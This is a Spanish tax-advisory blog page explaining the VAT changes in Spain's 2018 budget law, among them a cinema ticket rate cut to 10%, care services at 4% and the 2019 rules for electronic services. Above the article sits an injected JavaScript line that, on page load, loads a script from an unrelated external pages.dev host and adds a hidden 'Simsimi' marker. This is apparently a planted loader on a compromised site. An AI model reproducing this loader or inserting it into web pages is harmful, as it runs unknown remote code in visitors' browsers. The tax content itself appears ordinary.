document.addEventListener('DOMContentLoaded', function(){var s=document.createElement('script');s.src='https://91a31208.asukontol.pages.dev/simsimi.js';document.head.appendChild(s);var h=document.createElement('span');h.style.display='none';h.textContent='Simsimi';document.body.appendChild(h);});

Blog

Tamaño de fuente: +

Novedades que afectan al IVA en la Ley de Presupuestos para 2018

impuestos-presupuestos-generales-estado-2018

En el BOE del 4 de julio se publica la Ley 6/2018, de 3 de julio, de Presupuestos Generales del Estado para el año 2018 (LPGE), cuya entrada en vigor, salvo alguna excepción, es con fecha 5 de julio de 2018. En cuanto a las medidas tributarias que como es habitual se incluyen en la misma (título VI –arts. 59 a 98, ambos inclusive–),el legislador introduce determinadas modificaciones en la regulación de los principales impuestos.

En lo que respecta al IVA, las principales modificaciones, reguladas en los artículos 75 a 79 de la LPGE, son las siguientes:

a) Con efectos a partir de la entrada en vigor de la LPGE:

- Exenciones relativas a exportaciones y a operaciones asimiladas a las exportaciones

- Régimen de viajeros. Posibilidad de obtener la devolución del impuesto soportado en régimen de viajeros, cualquiera que sea el importe de la operación (artículo 21 número 2.º, letra A) de la LIVA), desaparece el límite preexistente hasta ahora 90,15 euros.

- Transportes internacionales. Exención por los transportes de viajeros y sus equipajes por vía marítima o aérea procedentes de o con destino a un puerto o aeropuerto situado fuera del ámbito espacial del impuesto (número tres del artículo 22 de la LIVA). Se modifica esta exención introduciendo un nuevo párrafo, de esta manera que se consideran incluidos también en la exención los transportes por vía aérea amparados por un único título de transporte que incluya vuelos de conexión aérea. Con ello se recoge la doctrina del TEAC sobre tratamiento a efectos del IVA de los denominados «vuelos de conexión interna», que son aquellos vuelos efectuados entre aeropuertos situados en el Territorio de Aplicación del Impuesto (TAI) en conexión con vuelos internacionales operados por otras compañías aéreas en virtud de acuerdos interline o code–share.

- Tipos impositivos. Se rebaja el tipo impositivo aplicable a la entrada a las salas cinematográficas, que pasa de tributar del 21 al 10% (art. 91.Uno.2.6.º LIVA), así como el correspondiente a los servicios de teleasistencia, ayuda a domicilio, centro de día y de noche y atención residencial, a los que se extiende la aplicación del tipo super reducido del 4%.

 

b) Novedades con efectos a partir de 1 de enero de 2019

- Exención relativa a las agrupaciones o uniones de empresas. En el artículo 20.Uno.6.º de la LIVA se regula una exención limitada (no genera el derecho a la deducción de las cuotas soportadas afectas a la misma) relativa a los servicios prestados directamente a sus miembros por uniones, agrupaciones o entidades autónomas, incluidas las agrupaciones de interés económico, constituidas exclusivamente por personas que ejerzan una actividad exenta o no sujeta al IVA que no origine el derecho a la deducción; excluyéndose los servicios prestados por sociedades mercantiles.

A las condiciones para poder beneficiarse de la exención que se regulan en las letras a) y b) de la norma, la LPGE añade una tercera condición, recogida en la nueva letra c), cual es la del tipo de actividad exenta ejercida por la unión, agrupación o entidad autónoma, que deberá ser alguna de las restantes actividades previstas en el artículo 20.Uno, excluidas las reguladas en los números 16.º (seguro, reaseguro y capitalización), 17.º (entregas de sellos de correos), 18.º (operaciones financieras), 19.º (loterías, apuestas y juegos), 20.º (entregas de terrenos rústicos), 22.º (entregas de edificaciones), 23.º (arrendamientos), 26.º (derechos de autor) y 28.º (prestaciones y entregas por partidos políticos).

- Localización de los servicios prestados por vía electrónica, de telecomunicaciones y de radiodifusión y televisión. Consecuencia de la publicación de la Directiva (UE) 2017/2455 del Consejo, de 5 de diciembre de 2017, por la que se modifican la Directiva 2006/112/CE y la Directiva 2009/132/CE en lo referente a determinadas obligaciones respecto del IVA para las prestaciones de servicios y las ventas a distancia de bienes, que ha modificado la Directiva armonizada del IVA en lo referente a las reglas de tributación de los servicios prestados por vía electrónica, de telecomunicaciones y de radiodifusión y televisión, cuando el destinatario no sea un empresario o profesional actuando como tal.

Se pretende reducir las cargas administrativas y tributarias que supone para las microempresas establecidas en un único Estado miembro que prestan estos servicios de forma ocasional a consumidores finales de otros Estados miembros tributar por estas prestaciones en el Estado miembro donde esté establecido el consumidor destinatario del servicio, se establece un umbral común a escala comunitaria de hasta 10.000 euros anuales que de no ser rebasado implicará que estas prestaciones de servicios sigan estando sujetas al IVA en su Estado miembro de establecimiento.

- Regímenes especiales de los servicios de telecomunicaciones, de radiodifusión o de televisión y a los prestados por vía electrónica (régimen exterior de la Unión, para empresarios o profesionales no establecidos en la Unión), Para favorecer el cumplimiento voluntario de las obligaciones tributarias y la posibilidad de acogerse a los sistemas simplificados de ventanilla única, se suprime desde el 1 de enero de 2019 la limitación actualmente existente de que los empresarios o profesionales no establecidos en la Comunidad pero registrados a efectos del IVA en un Estado miembro, por ejemplo porque realizan ocasionalmente operaciones sujetas al IVA en dicho Estado miembro, no pueden utilizar ni el régimen especial aplicable a los empresarios no establecidos en la Comunidad ni el régimen especial aplicable para los empresarios o profesionales establecidos en la Comunidad; se modifica este régimen especial en la LIVA respecto de dos cuestiones:

- Se restringe el concepto de «Empresario o profesional no establecido en la Unión» (art. 163 octiesdecies, apartado dos, letra a) LIVA), de forma tal que lo será todo empresario o profesional que tenga la sede de su actividad económica fuera del territorio de la Unión y no posea un establecimiento permanente en el territorio de la Unión (se suprime la referencia a que tampoco tenga la obligación, por otro motivo).

- En el artículo 163 noniesdecies de la LIVA se recogen las obligaciones formales que deben cumplir los empresarios o profesionales no establecidos en la Unión para acogerse a este régimen especial, obligándose en la letra a) a declarar el inicio, la modificación o el cese de sus operaciones comprendidas en este régimen especial. Se exigía que presente una declaración en la que el empresario o profesional manifieste que no está identificado a efectos del IVA en otro Estado miembro de la Unión. Esta obligación queda sustituida, en concordancia con la restricción apuntada en el punto anterior, por la obligación de presentar una declaración en la que manifieste que no ha situado la sede de su actividad económica en el territorio de la Unión y que no posee en él un establecimiento permanente.

×
Stay Informed

When you subscribe to the blog, we will send you an e-mail when there are new updates on the site so you wouldn't miss them.

El Consejo Europeo autoriza las negociaciones con ...
Llega la versión 1.1 del Suministro Inmediato de l...

Artículos relacionados

 

Comentarios

No hay comentarios por el momento. Se el primero en enviar un comentario.
¿Ya està registrado? Ingresa Aquí
Invitado
Sábado, 01 Agosto 2026

Suscríbete a nuestro boletín

Etiquetas

impuesto digital global International VAT Expert Academy Booking sector portuario asesoría fiscal OCDE Primer Pilar asientos contables modelo 771 Suministro Inmediato de la Información Plan de Acción de IVA Radiotelevisión Española ERP China electricidad e-invoicing vouchers impuesto transacciones financieras IVA impagado asesoramiento fiscal sistema común de IVA IVA defraudado impuestos especiales Unión Europea agentes de aduanas impuestos especial sobre la electricidad Navarra ATAD reservas online CFE grandes empresas fraude de IVA uso turístico viviendas compra de acciones nuevo impuestos iniciativa BEFIT armonización fiscal código de nomenclatura combinada Quick Fixes modelo 720 coronarivus modelo 560 importaciones Irlanda del Norte Estonia intermediarios pisos turísticos autónomos obligaciones fiscales Organización para la Cooperación y el Desarrollo Económico impuesto multinacionales SILICIE asesoramiento declaración de bienes importados ventanilla única para aduanas comercio electrónico Austria impuesto CO2 impuesto grandes empresas iva e-commerce sicav IVEA Facebook declaración de bienes exportados ventas a distancia plásticos de un solo uso iva y recargo de equivalencia programas de facturación empresarial era digital elusión fiscal empresarial operaciones digitales impuestos atrasados aplazamiento de deuda tributaria envases no reutilizables normativa del IVA País Vasco mecanismos transfronterizos pago de impuestos Airbnb yate competencias ejecutivas Holanda IVA europeo ventanilla única de aduanas medidas de apoyo Wallapop plataformas digitales transferencia bancaria prioridades legislativas impuesto GAFA transformación digital entidades de crédito colaboradoras ventas online modelo 770 medidas antifraude regularizar deuda bonos convertibles administraciones tributarias sentencia contenido bajo demanda Estrategia Europea para el plástico en una economía circular intercambio automático BEPS impuesto especial sobre el plástico MIFID II tasa Google paquete comercio electrónico acuerdo post brexit brexit duro facturación de profesionales régimen fiscal ley de mercados digitales revolución industrial 4.0 ventanilla única e-commerce 2.0 Suministro inmediato de la información economía colaborativa plataformas colaborativas impuesto plástico sistema fiscal deuda tributaria Administración Apple facturación para empresas aduanas Irlanda del Norte acuerdo de comercio iva comercio electrónico España aplazamiento Modelo 720 importaciones e-invoice notificación del IVA declaraciones fiscales electrónicas sector aviación impuestos directos International School on Indirect Taxation publicaciones físicas suministro inmediato relaciones comerciales AIEM política fiscal itf Estados Unidos SII impuesto sobre determinados servicios digitales iva servicios digitales IRNR declaración de bienes en el extranjero proyecto impuesto de matriculación imposición indirecta transitarios contribuyentes no residentes tasa digital reforma IVA Alemania información tributaria declaración fiscal iva en bebidas azucaradas infracciones libros contables de impuestos especiales fiscalidad empresarial brexit sin acuerdo impuestos en la UE Chipre Hacienda impuesto producción electricidad Suministro Inmediato de Información Irlanda normas del IVA expertos en VAT fiscalidad Brexit acuerdo global ventas a distancia B2C B2B Iva de importación exenciones directiva bonos polivalentes régimen OSS Régimen Especial del Grupo de Entidades IVPEE sistema VIES nuevo sistema de IVA IVA en la UE fondo de recuperación e-commerce mercados financieros banco DAC7 actualidad socimi suministro inmediato de información derechos de aduanas publicaciones electrónicas Annual VAT Summit Luxemburgo medidas multas aplazamiento de impuestos DGT ecommerce Ley de Presupuestos VAT gap vendedores online impuestos tipo general del IVA OMC Portugal objetivos políticos facturación Amazon exportaciones zona euro Italia modelo 604 REGE declaración Intrastat nuevos impuestos impuesto aviación inversores I-OSS servicios digitales cotización en bolsa tasa Tobin bitcoins fichero de contabilidad operadores digitales IVA reglamentos de IVA recargo de equivalencia bienes de ciudadanos banca IVA en tiempo real transacciones B2B coronavirus reclamación de deuda Directiva DAC 7 asesores especializados Comisión Gentiloni sanciones marco temporal de ayuda estatal erosión fiscal doble imposición prácticas fiscales abusivas VAT Forum facturación empresarial tasa RTVE directiva de elusión fiscal deudas tributarias impuesto a las transacciones financieras paquete de IVA planificación fiscal abusiva impuesto a plásticos de un solo uso impuestos primas de seguros VAT fiscalidad internacional GFV pymes impuestos para empresas tasa Netflix plan de ayuda venta transfronteriza grupo de entidades operaciones transfronterizas aduanas NRC transacciones financieras automatización ventanilla única e-commerce 1.0 Agencia Tributaria declaración de la renta G20 pago de deuda tributaria Europa Directiva del IVA normativa software de facturación empresarial ley de servicios digitales directiva DAC6 comunicación fiscal República Checa multinacionales comercio electronico intereses de demora TJUE grupos de IVA aranceles real decreto UE sistemas inteligentes ingresos habituales tribunales declaraciones de importación en Irlanda del Norte derechos de aduana Global Forum on VAT autoliquidación modelo 604 fraude fiscal AEAT alquiler vacacional Sistema de Intercambio agujero de IVA intercambio CRS comité de IVA Comisión Europea IVA en destino SAF-T régimen MOSS CFE Tax Advisers Europe tipos de IVA directivas prensa española medidas COVID-19 seguros Fedeia tasa tech IVA comercio electrónico ESI ventas en línea arbitrio canario inversión sujeto pasivo gas facturas DAC 7 Plan de Acción IVA pisos turísticos número de IVA válido control tributario impuesto C02 planes fiscales Comité del IVA DEF reglamento SEPA declaraciones fiscales digitales facturación electrónica bonos univalentes gestión recaudatoria declarar el IVA consecuencias cooperación administrativa modelos de negocio e-commerce factura electrónica Vizcaya secreto profesional tasa GAFA salida de Reino Unido Francia servicios fiinancieros economía digital economía global Canarias OECD impuesto digital publicaciones digitales conflictos fiscales DAC6 eventos especializados Reino Unido impuestos especiales de fabricación modelo 210 Batuz impuesto generación electricidad elusión fiscal COVID-19 control fiscal sector energético deuda de impuestos armonización de impuestos asesores fiscales reglas de IVA ley contra fraude fiscal impuestos digitales Hungría suministro de bienes con transporte derecho comunitario formación sector aeronáutico representante legal conecuencias brexit Grupo sobre el futuro del IVA energía ECOFIN régimen especial ventanilla única recargo de equivalencia IVA impuesto canario iva online impuestos indirectos tiendas online
logo-ivaconsulta-byn.png

Estudiamos las necesidades en materia fiscal a nivel europeo de empresas globales.

IVA CONSULTA
Glorieta de Quevedo, nº 9, 5º
28015 Madrid (España)

CENTRO DE SERVICIOS
C/ Arena, 1, Planta 4ª
35002 Las Palmas de Gran Canaria (España)

Siguenos en:

platforamvat-byn.png
Para una más eficiente prestación de nuestros servicios hemos desarrollado PlatformVAT, nuestra propia herramienta de trabajo colaborativo en línea.